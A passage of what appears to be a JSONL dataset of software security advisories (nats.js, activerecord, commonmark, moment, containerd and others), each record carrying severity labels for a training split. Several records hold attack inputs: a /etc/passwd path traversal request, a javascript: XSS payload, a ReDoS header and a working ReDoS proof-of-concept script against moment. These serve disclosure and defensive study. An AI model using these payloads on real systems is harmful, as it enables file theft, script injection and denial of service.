TLS establishment.\n\nThe nats.js client supports Mutual TLS and the credentials for the TLS client key are included in the connection configuration options; disclosure of the client's TLS private key to the server has been observed.\n\nMost authentication mechanisms are handled after connection, instead of as part of connection, so other authentication mechanisms are unaffected.\nFor clarity: NATS account NKey authentication **is NOT affected**.\n\nNeither the nats.ws nor the nats.deno clients support Mutual TLS: the affected versions listed below are those where the logic flaw is\npresent.  We are including the nats.ws and nats.deno versions out of an abundance of caution, as library maintainers, but rate as minimal the likelihood of applications leaking sensitive data.\n\n\n## Affected versions\n\n### Security impact\n\n* NPM package nats.js:\n  + **mainline is unaffected**\n  + beta branch is vulnerable from 2.0.0-201, fixed in 2.0.0-209\n\n### Logic flaw\n\n* NPM package nats.ws:\n  + status: preview\n  + flawed from 1.0.0-85, fixed in 1.0.0-111\n\n* Deno repository https://github.com/nats-io/nats.deno\n  + status: preview\n  + flawed in all git tags prior to fix\n  + fixed with git tag v1.0.0-9\n\n\n## Impact\n\nFor deployments using TLS client certificates (for mutual TLS), private key material for TLS is leaked from the client application to the\nserver.  If the server is untrusted (run by a third party), or if the client application also disables TLS verification (and so the true identity of the server is unverifiable) then authentication credentials are leaked.\n\n## Workaround\n\n*None*\n\n## Solution\n\nUpgrade your package dependencies to fixed versions, and then reissue any TLS client credentials (with new keys, not just new certificates) and revoke the old ones.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "d6b92aef458d90f9903c", "text": "activerecord vulnerable to SQL Injection\n\nMultiple SQL injection vulnerabilities in the `quote_table_name` method in the ActiveRecord adapters in `activerecord/lib/active_record/connection_adapters/` in Ruby on Rails before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allow remote attackers to execute arbitrary SQL commands via a crafted column name.", "text_raw": "activerecord vulnerable to SQL Injection\n\n[Severity: HIGH]\n\nMultiple SQL injection vulnerabilities in the `quote_table_name` method in the ActiveRecord adapters in `activerecord/lib/active_record/connection_adapters/` in Ruby on Rails before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allow remote attackers to execute arbitrary SQL commands via a crafted column name.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "177ff641a32225ecc99b", "text": "XSS Injection in Media Collection Title was possible\n\n### Impact\n\nA logged in admin user was possible to add a script injection (XSS) in the collection title which was executed.\n\n### Workarounds\n\nManual patching the js files.\n\n### For more information\n\nIf you have any questions or comments about this advisory:'\n\n- Email us at [security@sulu.io](mailto:security@sulu.io)", "text_raw": "XSS Injection in Media Collection Title was possible\n\n[Severity: MEDIUM]\n\n### Impact\n\nA logged in admin user was possible to add a script injection (XSS) in the collection title which was executed.\n\n### Workarounds\n\nManual patching the js files.\n\n### For more information\n\nIf you have any questions or comments about this advisory:'\n\n - Email us at [security@sulu.io](mailto:security@sulu.io)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "fe9443658479153327fa", "text": "Directory Traversal in open-device\n\nAffected versions of `open-device` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in open-device\n\n[Severity: HIGH]\n\nAffected versions of `open-device` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "1cbc757cb9fbe56aec99", "text": "Root Path Disclosure in send\n\nVersions of `send` prior to 0.11.2 are affected by an information leakage vulnerability which may allow an attacker to enumerate paths on the server filesystem.\n\n## Recommendation\n\nUpdate to version 0.11.1 or later.", "text_raw": "Root Path Disclosure in send\n\n[Severity: MEDIUM]\n\nVersions of `send` prior to 0.11.2 are affected by an information leakage vulnerability which may allow an attacker to enumerate paths on the server filesystem.\n\n\n\n## Recommendation\n\nUpdate to version 0.11.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "b8556b6c31083853a107", "text": "Synaccess netBooter NP-02x/NP-08x 6.8 Authentication Bypass", "text_raw": "Synaccess netBooter NP-02x/NP-08x 6.8 Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-11-17", "split": "train"}
-{"id": "7c1f1fd433ebd3547f48", "text": "## CVE-2019-10010\n\n### Impact\n\nIn `league/commonmark` 0.18.2 and below, malicious users can insert double-encoded HTML entities into their Markdown like this:\n\n```md\n[XSS](javascript&amp;colon;alert%28&#039;XSS&#039;%29)\n```\n\nThis library would (correctly) unescape the `&amp;` entity to `&` during the parsing step.  However, **the renderer step would fail to properly re-escape the resulting `&colon;` string**, thus producing the following malicious HTML output:\n\n```html\n<p><a href=\"javascript&colon;alert('XSS')\">XSS</a></p>\n```\n\nBrowsers would interpret `&colon;` as a `:` character and allow the JS to be executed when the link is clicked.\n\nThis vulnerability was present in the upstream library this project was forked from and therefore exists in all prior versions of `league/commonmark`.\n\n### Solution\n\nThe new [0.18.3](https://github.com/thephpleague/commonmark/releases/tag/0.18.3) release mirrors [the fix made upstream](https://github.com/commonmark/commonmark.js/commit/c89b35c5fc99bdf1d2181f7f0c9fcb8a1abc27c8) - we no longer attempt to preserve entities when rendering HTML attributes like `href`, `src`, `title`, etc.\n\nThe `$preserveEntities` parameter of `Xml::escape()` is therefore no longer used internally, so it has been deprecated and marked for removal in the next major release (0.19.0).\n\n### Credits\n\n- Mohit Fawaz for identifying the issue\n - Sebastiaan Knijnenburg and Ross Tuck for responsibly disclosing/relaying the issue\n - John MacFarlane for investigating it and implementing the upstream fix we mirrored here\n\n### References\n\n- https://nvd.nist.gov/vuln/detail/CVE-2019-10010\n - https://github.com/thephpleague/commonmark/releases/tag/0.18.3\n - https://github.com/thephpleague/commonmark/issues/353\n- https://github.com/FriendsOfPHP/security-advisories/blob/master/league/commonmark/CVE-2019-10010.yaml", "text_raw": "Moderate severity vulnerability that affects league/commonmark\n\n[Severity: MEDIUM]\n\n## CVE-2019-10010\n\n### Impact\n\nIn `league/commonmark` 0.18.2 and below, malicious users can insert double-encoded HTML entities into their Markdown like this:\n\n```md\n[XSS](javascript&amp;colon;alert%28&#039;XSS&#039;%29)\n```\n\nThis library would (correctly) unescape the `&amp;` entity to `&` during the parsing step.  However, **the renderer step would fail to properly re-escape the resulting `&colon;` string**, thus producing the following malicious HTML output:\n\n```html\n<p><a href=\"javascript&colon;alert('XSS')\">XSS</a></p>\n```\n\nBrowsers would interpret `&colon;` as a `:` character and allow the JS to be executed when the link is clicked.\n\nThis vulnerability was present in the upstream library this project was forked from and therefore exists in all prior versions of `league/commonmark`.\n\n### Solution\n\nThe new [0.18.3](https://github.com/thephpleague/commonmark/releases/tag/0.18.3) release mirrors [the fix made upstream](https://github.com/commonmark/commonmark.js/commit/c89b35c5fc99bdf1d2181f7f0c9fcb8a1abc27c8) - we no longer attempt to preserve entities when rendering HTML attributes like `href`, `src`, `title`, etc.\n\nThe `$preserveEntities` parameter of `Xml::escape()` is therefore no longer used internally, so it has been deprecated and marked for removal in the next major release (0.19.0).\n\n### Credits\n\n - Mohit Fawaz for identifying the issue\n - Sebastiaan Knijnenburg and Ross Tuck for responsibly disclosing/relaying the issue\n - John MacFarlane for investigating it and implementing the upstream fix we mirrored here\n\n### References\n\n - https://nvd.nist.gov/vuln/detail/CVE-2019-10010\n - https://github.com/thephpleague/commonmark/releases/tag/0.18.3\n - https://github.com/thephpleague/commonmark/issues/353\n- https://github.com/FriendsOfPHP/security-advisories/blob/master/league/commonmark/CVE-2019-10010.yaml", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-17", "split": "train"}
-{"id": "ff0cdf40ba5b3cf08f18", "text": "set-getter Prototype Pollution Vulnerability\n\nPrototype pollution vulnerability in ‘set-getter’ version 0.1.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "set-getter Prototype Pollution Vulnerability\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in ‘set-getter’ version 0.1.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "2c4e4257b8480cbc523d", "text": "Prototype Pollution in @commercial/subtext\n\nVersions of `@commercial/subtext` prior to 5.1.2 are vulnerable to Prototype Pollution. A multipart payload can be constructed in a way that one of the parts’ content can be set as the entire payload object’s prototype. If this prototype contains data, it may bypass other validation rules which enforce access and privacy. If this prototype evaluates to null, it can cause unhandled exceptions when the request payload is accessed.\n\n## Recommendation\n\nUpgrade to version 5.1.2 or later.", "text_raw": "Prototype Pollution in @commercial/subtext\n\n[Severity: HIGH]\n\nVersions of `@commercial/subtext` prior to 5.1.2 are vulnerable to Prototype Pollution. A multipart payload can be constructed in a way that one of the parts’ content can be set as the entire payload object’s prototype. If this prototype contains data, it may bypass other validation rules which enforce access and privacy. If this prototype evaluates to null, it can cause unhandled exceptions when the request payload is accessed.\n\n\n## Recommendation\n\nUpgrade to version 5.1.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ef58789e1865c656eaf5", "text": "Apache Karaf prior to 4.0.8 used the LDAPLoginModule to authenticate users to a directory via LDAP. However, it did not encoding usernames properly and hence was vulnerable to LDAP injection attacks leading to a denial of service.", "text_raw": "Moderate severity vulnerability that affects org.apache.karaf:apache-karaf\n\n[Severity: MEDIUM]\n\nApache Karaf prior to 4.0.8 used the LDAPLoginModule to authenticate users to a directory via LDAP. However, it did not encoding usernames properly and hence was vulnerable to LDAP injection attacks leading to a denial of service.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-07", "split": "train"}
-{"id": "7d534071758e1a2a30cf", "text": "The rack-cors rubygem may allow directory traveral\n\nAn issue was discovered in the rack-cors (aka Rack CORS Middleware) gem before 1.0.4 for Ruby. It allows ../ directory traversal to access private resources because resource matching does not ensure that pathnames are in a canonical format.", "text_raw": "The rack-cors rubygem may allow directory traveral\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the rack-cors (aka Rack CORS Middleware) gem before 1.0.4 for Ruby. It allows ../ directory traversal to access private resources because resource matching does not ensure that pathnames are in a canonical format.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-15", "split": "train"}
-{"id": "62fa3d6d9e78674a8fd0", "text": "File upload local preview can run embedded scripts after user interaction\n\n### Impact\n\nWhen uploading a file, the local file preview can lead to execution of scripts embedded in the uploaded file, but only after several user interactions to open the preview in a separate tab. This only impacts the local user while in the process of uploading. It cannot be exploited remotely or by other users.\n\n### Patches\n\nThis has been fixed by https://github.com/matrix-org/matrix-react-sdk/pull/5981, which is included in 3.21.0.\n\n### Workarounds\n\nThere are no known workarounds.", "text_raw": "File upload local preview can run embedded scripts after user interaction\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen uploading a file, the local file preview can lead to execution of scripts embedded in the uploaded file, but only after several user interactions to open the preview in a separate tab. This only impacts the local user while in the process of uploading. It cannot be exploited remotely or by other users.\n\n### Patches\n\nThis has been fixed by https://github.com/matrix-org/matrix-react-sdk/pull/5981, which is included in 3.21.0.\n\n### Workarounds\n\nThere are no known workarounds.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "50f367e1a06d749ff857", "text": "Mishandling of format strings in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated because rusqlite::trace::log mishandles format strings.", "text_raw": "Mishandling of format strings in rusqlite\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated because rusqlite::trace::log mishandles format strings.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e284b55ad4604bd24d96", "text": "Deserialization of untrusted data in FasterXML jackson-databind\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x through 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has JDOM 1.x or 2.x jar in the classpath, an attacker can send a specifically crafted JSON message that allows them to read arbitrary local files on the server.", "text_raw": "Deserialization of untrusted data in FasterXML jackson-databind\n\n[Severity: MEDIUM]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x through 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has JDOM 1.x or 2.x jar in the classpath, an attacker can send a specifically crafted JSON message that allows them to read arbitrary local files on the server.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-17", "split": "train"}
-{"id": "f750ca9fd0851c9caeba", "text": "Possible pod name collisions in jupyterhub-kubespawner\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nJupyterHub deployments using:\n\n- KubeSpawner <= 0.11.1 (e.g. zero-to-jupyterhub 0.9.0) and\n- enabled named_servers (not default), and\n- an Authenticator that allows:\n  - usernames with hyphens or other characters that require escape (e.g. `user-hyphen` or `user@email`), and\n  - usernames which may match other usernames up to but not including the escaped character (e.g. `user` in the above cases)\n\nIn this circumstance, certain usernames will be able to craft particular server names which will grant them access to the default server of other users who have matching usernames.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatch will be released in kubespawner 0.12 and zero-to-jupyterhub 0.9.1\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n#### KubeSpawner\n\nSpecify configuration:\n\nfor KubeSpawner\n```python\nfrom traitlets import default\nfrom kubespawner import KubeSpawner\n\nclass PatchedKubeSpawner(KubeSpawner):\n    @default(\"pod_name_template\")\n    def _default_pod_name_template(self):\n        if self.name:\n            return \"jupyter-{username}-{servername}\"\n        else:\n            return \"jupyter-{username}\"\n\n@default(\"pvc_name_template\")\n    def _default_pvc_name_template(self):\n        if self.name:\n            return \"claim-{username}-{servername}\"\n        else:\n            return \"claim-{username}\"\n\nc.JupyterHub.spawner_class = PatchedKubeSpawner\n```\n\n**Note for KubeSpawner:** this configuration will behave differently before and after the upgrade, so will need to be removed when upgrading. Only apply this configuration while still using KubeSpawner ≤ 0.11.1 and remove it after upgrade to ensure consistent pod and pvc naming.\n\nChanging the name template means pvcs for named servers will have different names. This will result in orphaned PVCs for named servers across Hub upgrade! This may appear as data loss for users, depending on configuration, but the orphaned PVCs will still be around and data can be migrated manually (or new PVCs created manually to reference existing PVs) before deleting the old PVCs and/or PVs.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [kubespawner](https://github.com/jupyterhub/kubespawner)\n* Email us at [security@ipython.org](mailto:security@ipython.org)\n\nCredit: Jining Huang", "text_raw": "Possible pod name collisions in jupyterhub-kubespawner\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nJupyterHub deployments using:\n\n- KubeSpawner <= 0.11.1 (e.g. zero-to-jupyterhub 0.9.0) and\n- enabled named_servers (not default), and\n- an Authenticator that allows:\n  - usernames with hyphens or other characters that require escape (e.g. `user-hyphen` or `user@email`), and\n  - usernames which may match other usernames up to but not including the escaped character (e.g. `user` in the above cases)\n\nIn this circumstance, certain usernames will be able to craft particular server names which will grant them access to the default server of other users who have matching usernames.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatch will be released in kubespawner 0.12 and zero-to-jupyterhub 0.9.1\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n#### KubeSpawner\n\nSpecify configuration:\n\nfor KubeSpawner\n```python\nfrom traitlets import default\nfrom kubespawner import KubeSpawner\n\nclass PatchedKubeSpawner(KubeSpawner):\n    @default(\"pod_name_template\")\n    def _default_pod_name_template(self):\n        if self.name:\n            return \"jupyter-{username}-{servername}\"\n        else:\n            return \"jupyter-{username}\"\n\n    @default(\"pvc_name_template\")\n    def _default_pvc_name_template(self):\n        if self.name:\n            return \"claim-{username}-{servername}\"\n        else:\n            return \"claim-{username}\"\n\nc.JupyterHub.spawner_class = PatchedKubeSpawner\n```\n\n**Note for KubeSpawner:** this configuration will behave differently before and after the upgrade, so will need to be removed when upgrading. Only apply this configuration while still using KubeSpawner ≤ 0.11.1 and remove it after upgrade to ensure consistent pod and pvc naming.\n\nChanging the name template means pvcs for named servers will have different names. This will result in orphaned PVCs for named servers across Hub upgrade! This may appear as data loss for users, depending on configuration, but the orphaned PVCs will still be around and data can be migrated manually (or new PVCs created manually to reference existing PVs) before deleting the old PVCs and/or PVs.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [kubespawner](https://github.com/jupyterhub/kubespawner)\n* Email us at [security@ipython.org](mailto:security@ipython.org)\n\nCredit: Jining Huang", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-22", "split": "train"}
-{"id": "702c3ef0b6fdbc31ca12", "text": "Heap-based buffer overflow in nokogiri\n\nHeap-based buffer overflow in the xmlGROW function in parser.c in libxml2 before 2.9.3.  A remote attacker could provide a specially crafted XML or HTML file that, when processed by an application using libxml2, would cause that application to use an excessive amount of CPU, leak potentially sensitive information, or crash the application.", "text_raw": "Heap-based buffer overflow in nokogiri\n\n[Severity: MEDIUM]\n\nHeap-based buffer overflow in the xmlGROW function in parser.c in libxml2 before 2.9.3.  A remote attacker could provide a specially crafted XML or HTML file that, when processed by an application using libxml2, would cause that application to use an excessive amount of CPU, leak potentially sensitive information, or crash the application.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "c4c293aab94030d47965", "text": "Incorrect Authorization in serverless-offline\n\nServerless Offline 8.0.0 returns a 403 HTTP status code for a route that has a trailing `/` character, which might cause a developer to implement incorrect access control, because the actual behavior within the Amazon AWS environment is a 200 HTTP status code (i.e., possibly greater than expected permissions).", "text_raw": "Incorrect Authorization in serverless-offline\n\n[Severity: CRITICAL]\n\nServerless Offline 8.0.0 returns a 403 HTTP status code for a route that has a trailing `/` character, which might cause a developer to implement incorrect access control, because the actual behavior within the Amazon AWS environment is a 200 HTTP status code (i.e., possibly greater than expected permissions).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "3ee4edef0703f0dbaea4", "text": "Command injection in @diez/generation\n\nThe `@diez/generation` npm package is a client for Diez. The locateFont method of @diez/generation has a command injection vulnerability. Clients of the @diez/generation library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. All versions of this package are vulnerable as of the writing of this CVE.", "text_raw": "Command injection in @diez/generation\n\n[Severity: LOW]\n\nThe `@diez/generation` npm package is a client for Diez. The locateFont method of @diez/generation has a command injection vulnerability. Clients of the @diez/generation library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability. This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input. All versions of this package are vulnerable as of the writing of this CVE.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "0dbfc51fd8549a0223ef", "text": "SimpleRisk v20170416-001 Reflected XSS Vulnerabilities", "text_raw": "SimpleRisk v20170416-001 Reflected XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-06-21", "split": "train"}
-{"id": "d3841d164a6eb1d2d459", "text": "Server-Side Request Forgery in unoconv\n\nThe unoconv package before 0.9 mishandles untrusted pathnames, leading to SSRF and local file inclusion.", "text_raw": "Server-Side Request Forgery in unoconv\n\n[Severity: HIGH]\n\nThe unoconv package before 0.9 mishandles untrusted pathnames, leading to SSRF and local file inclusion.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-24", "split": "train"}
-{"id": "a07919f68726c3013366", "text": "KYOCERA Net Admin 3.4 Multiple XSS Vulnerabilities", "text_raw": "KYOCERA Net Admin 3.4 Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-04-07", "split": "train"}
-{"id": "3c8013395781b2d54b37", "text": "Ambiguous OCI manifest parsing\n\n### Impact\n\nIn the OCI Distribution Specification version 1.0.0 and prior and in the OCI Image Specification version 1.0.1 and prior, manifest and index documents are ambiguous without an accompanying Content-Type HTTP header.  Versions of containerd prior to 1.4.12 and 1.5.8 treat the Content-Type header as trusted and deserialize the document according to that header.  If the Content-Type header changed between pulls of the same ambiguous document (with the same digest), the document may be interpreted differently, meaning that the digest alone is insufficient to unambiguously identify the content of the image.\n\n### Patches\n\nThis issue has been fixed in containerd 1.4.12 and 1.5.8.  Image pulls for manifests that contain a “manifests” field or indices which contain a “layers” field are rejected.\n\n### Workarounds\n\nEnsure you only pull images from trusted sources.\n\n### References\n\nhttps://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m\nhttps://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)", "text_raw": "Ambiguous OCI manifest parsing\n\n[Severity: LOW]\n\n### Impact\n\nIn the OCI Distribution Specification version 1.0.0 and prior and in the OCI Image Specification version 1.0.1 and prior, manifest and index documents are ambiguous without an accompanying Content-Type HTTP header.  Versions of containerd prior to 1.4.12 and 1.5.8 treat the Content-Type header as trusted and deserialize the document according to that header.  If the Content-Type header changed between pulls of the same ambiguous document (with the same digest), the document may be interpreted differently, meaning that the digest alone is insufficient to unambiguously identify the content of the image.\n\n### Patches\n\nThis issue has been fixed in containerd 1.4.12 and 1.5.8.  Image pulls for manifests that contain a “manifests” field or indices which contain a “layers” field are rejected.\n\n### Workarounds\n\nEnsure you only pull images from trusted sources.\n\n### References\n\nhttps://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m\nhttps://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "bed2b29bc92b3d6fd1ee", "text": "Regular Expression Denial of Service in websocket-extensions (NPM package)\n\n### Impact\n\nThe ReDoS flaw allows an attacker to exhaust the server's capacity to process\nincoming requests by sending a WebSocket handshake request containing a header\nof the following form:\n\nSec-WebSocket-Extensions: a; b=\"\\c\\c\\c\\c\\c\\c\\c\\c\\c\\c ...\n\nThat is, a header containing an unclosed string parameter value whose content is\na repeating two-byte sequence of a backslash and some other character. The\nparser takes exponential time to reject this header as invalid, and this will\nblock the processing of any other work on the same thread. Thus if you are\nrunning a single-threaded server, such a request can render your service\ncompletely unavailable.\n\n### Patches\n\nUsers should upgrade to version 0.1.4.\n\n### Workarounds\n\nThere are no known work-arounds other than disabling any public-facing\nWebSocket functionality you are operating.\n\n### References\n\n- https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/", "text_raw": "Regular Expression Denial of Service in websocket-extensions (NPM package)\n\n[Severity: HIGH]\n\n### Impact\n\nThe ReDoS flaw allows an attacker to exhaust the server's capacity to process\nincoming requests by sending a WebSocket handshake request containing a header\nof the following form:\n\n    Sec-WebSocket-Extensions: a; b=\"\\c\\c\\c\\c\\c\\c\\c\\c\\c\\c ...\n\nThat is, a header containing an unclosed string parameter value whose content is\na repeating two-byte sequence of a backslash and some other character. The\nparser takes exponential time to reject this header as invalid, and this will\nblock the processing of any other work on the same thread. Thus if you are\nrunning a single-threaded server, such a request can render your service\ncompletely unavailable.\n\n### Patches\n\nUsers should upgrade to version 0.1.4.\n\n### Workarounds\n\nThere are no known work-arounds other than disabling any public-facing\nWebSocket functionality you are operating.\n\n### References\n\n- https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "5d2ac6b4d93323de9f31", "text": "Regular Expression Denial of Service in moment\n\nVersions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n## Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\nreturn result;\n}\n\nfor (i=20000;i<=10000000;i=i+10000) {\n    console.log(\"COUNT: \" + i);\n    var str = '-' + genstr(i, '1')\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    moment.duration(str)\n\nvar end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n## Recommendation\n\nPlease update to version 2.11.2 or later.", "text_raw": "Regular Expression Denial of Service in moment\n\n[Severity: MEDIUM]\n\nVersions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n\n## Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=20000;i<=10000000;i=i+10000) {\n    console.log(\"COUNT: \" + i);\n    var str = '-' + genstr(i, '1')\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    moment.duration(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n\n## Recommendation\n\nPlease update to version 2.11.2 or later. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "65adb8d7058ed604d47b", "text": "Deserialization of Untrusted Data leading to Remote Code Execution in Apache Storm\n\nAn Unsafe Deserialization vulnerability exists in the worker services of the Apache Storm supervisor server allowing pre-auth Remote Code Execution (RCE). Apache Storm 2.2.x users should upgrade to version 2.2.1 or 2.3.0. Apache Storm 2.1.x users should upgrade to version 2.1.1. Apache Storm 1.x users should upgrade to version 1.2.4", "text_raw": "Deserialization of Untrusted Data leading to Remote Code Execution in Apache Storm\n\n[Severity: CRITICAL]\n\nAn Unsafe Deserialization vulnerability exists in the worker services of the Apache Storm supervisor server allowing pre-auth Remote Code Execution (RCE). Apache Storm 2.2.x users should upgrade to version 2.2.1 or 2.3.0. Apache Storm 2.1.x users should upgrade to version 2.1.1. Apache Storm 1.x users should upgrade to version 1.2.4", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-27", "split": "train"}
-{"id": "7477a5e01196148b8775", "text": "Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit", "text_raw": "Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "0e5f3cceb2ada854c950", "text": "Duplicate Advisory: Command Injection in fs-git\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-wp3j-gv53-4pg8. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of `fs-git` do not sanitize strings passed into the `buildCommand` method, resulting in arbitrary code execution.\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "text_raw": "Duplicate Advisory: Command Injection in fs-git\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-wp3j-gv53-4pg8. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of `fs-git` do not sanitize strings passed into the `buildCommand` method, resulting in arbitrary code execution.\n\n\n## Recommendation\n\nUpdate to version 1.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
